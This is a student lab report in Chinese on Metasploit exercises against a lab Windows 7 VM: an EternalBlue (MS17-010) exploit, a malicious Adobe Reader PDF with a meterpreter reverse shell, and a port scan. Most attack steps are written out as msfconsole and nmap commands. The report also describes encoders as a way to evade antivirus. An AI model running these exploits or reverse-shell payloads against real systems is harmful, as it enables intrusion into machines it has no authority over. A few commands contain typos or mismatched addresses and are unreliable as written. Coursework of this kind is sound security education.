目录
一、实践内容
1 一个主动攻击实践
使用 ms17-010 永恒之蓝漏洞对 win7 进行渗透
漏洞介绍
在微软官方的漏洞库中,有此漏洞的介绍与补丁,补丁编号:KB4013389。永恒之蓝相关病毒,其实是利用了微软的 MS17-010 漏洞。MS17-010 是 Windows 系统一个底层服务的漏洞,恶意代码会扫描开放 445 文件共享端口的 Windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
本实验使用 Win7 作为靶机来进行渗透测试 Win7 环境说明:IP 地址 192.168.81.129 ,防火墙状态关闭。
0 安装Win7虚拟机
本实验使用了Win7英文版的虚拟机,因此需要大家安装一下。过程并不繁琐,文件在3个G左右
迅雷下载种子:
ed2k://|file|en_windows_7_ultimate_with_sp1_x64_dvd_u_677332.iso|3320903680|743598C64E635C72964CF02A3E0AD547|/
自行安装即可,如果使用VM,可以进行“简易安装”,实现一键部署。
1 攻击前的准备
1.1 关闭Win7防火墙
1.2 打开445端口
具体操作请参考:链接
1.3 查看靶机IP地址
ipconfig
2 执行攻击
我们先看一下,靶机是否有这个漏洞
nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.81.129这是Win7的地址
结果如下,我们可以看到,有此漏洞
进入metasploit的命令是msfconfig
我们先看一下这个漏洞对应的MSF板块是哪些:
msf6 > search ms17_010
下面选择对应MSF板块,设置靶机ip地址,执行攻击:
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.81.129是Win7的IP地址
exploit
执行结果如下:
如上图所示,我们成功获得了目标主机的shell命令行,可以执行相关命令。
2 一个针对浏览器的攻击
还是使用永恒之蓝ms17_010_eternalblue
我们先看一下,靶机是否有这个漏洞
nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.81.129这是Win7的地址
然后开始进行相应的攻击
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.81.129这是Win7的地址
set LPORT 2213
set payload generic/shell_reverse_tcp
show options
exploit
使用win7的IE浏览器访问kali的ip地址192.168.81.133
之后,在kali中,就获取到了win7的命令行:
攻击成功!
3 一个针对客户端的攻击,已adobe reader为例
漏洞:adobe_cooltype_sing
安装adobe reader,安装包已经发在群中。
之后,执行以下命令:
use exploit/windows/fileformat/adobe_cooltype_sing //进入攻击模块
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 192.168.81.129
set LPORT 2213
set FILENAME 20192213lzq.pdf
set target 0
exploit
执行结果如下:
将文件复制到win7中
然后,我们进行监听,在msfconsole里输入back
,可以返回上一级
然后输入:
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 192.168.81.133 //设置攻击机IP地址
set LPORT 2213 //设置端口号
exploit //攻击
此时,在win7中使用adobe reader9.0打开该pdf文件:
获取到了目标的命令行:
如上图所示,攻击成功!
4 辅助模块的使用
metasploit
的auxiliary
(辅助模块): 包含扫描、fuzz测试、漏洞挖掘、⽹络协议欺骗等程序。
本例相对简单,建议大家使用不同的方式对自己的系统进行扫描。
下面,使用PortScan
进行端口扫描
命令如下:
use auxiliary/scanner/portscan/tcp
show opticons
set rhosts 目标IP地址
exploit
结果如下:
我们可以看到,metasploit
帮助我们获取了目标已经开放的端口,由此我们可以推测出靶机可能存在的漏洞和可能提供的服务,进而完成后续攻击。
二、问题回答
1 用自己的话解释什么是exploit,payload,encode
- exploit:就是渗透攻击。这个模块下面有针对各种平台各种软件下的漏洞开发的渗透攻击子模块,用户可以调用某一个对靶机进行攻击。
- payload:就是载荷。比如一个后门,通过什么平台下的基于什么软件的连接方式,可以通过此项来设置。
- encode:就是一个编码器,把比如shellcode存在一些特征码,本来容易被靶机安全软件所察觉,用了这个编码器中的编码后就打乱了特征码,从而迷惑靶机。
2 实践总结与体会
-
本次实验耗时主要在复现环境搭建上,经过测试发现metasploit对中文系统支持不是很好,第一次攻击win7 pro中文版时没有成功,无论如何调试都提示:无法建立对话。之后按照网上提示,我安装了英文版win7,问题得以解决。
-
与此同时,我尝试了攻击win server 2008,该系统在未打补丁的情况下也存在该漏洞,可惜由于我用的是腾讯服务器,没有自主配置防火墙的权限,因此攻击也没有成功。
-
通过做这次实验,发现其实漏洞的年限都比较久远了,所攻击的系统也很久远,XP,win7都停服了。但这并不意味着现在用的最新系统就没有漏洞就不会有人攻击,这次实验收获是很大的。
3 离实战还缺些什么技术或步骤?
首先不建议针对其他人的主机进行实战攻击。
从本实验可以看出,所有过程都需要靶机的配合,需要关掉靶机的防火墙和杀软,有的还需要在靶机上进行一些操作,距离实战我们还需要绕过防火墙、骗过杀软的方法,缺少了这些技术方法,我们实验的攻击方案基本没法实现。
同时我们使用的系统版本较老,也没有更新、安装过相关安全补丁,并且必须开放某些特定端口。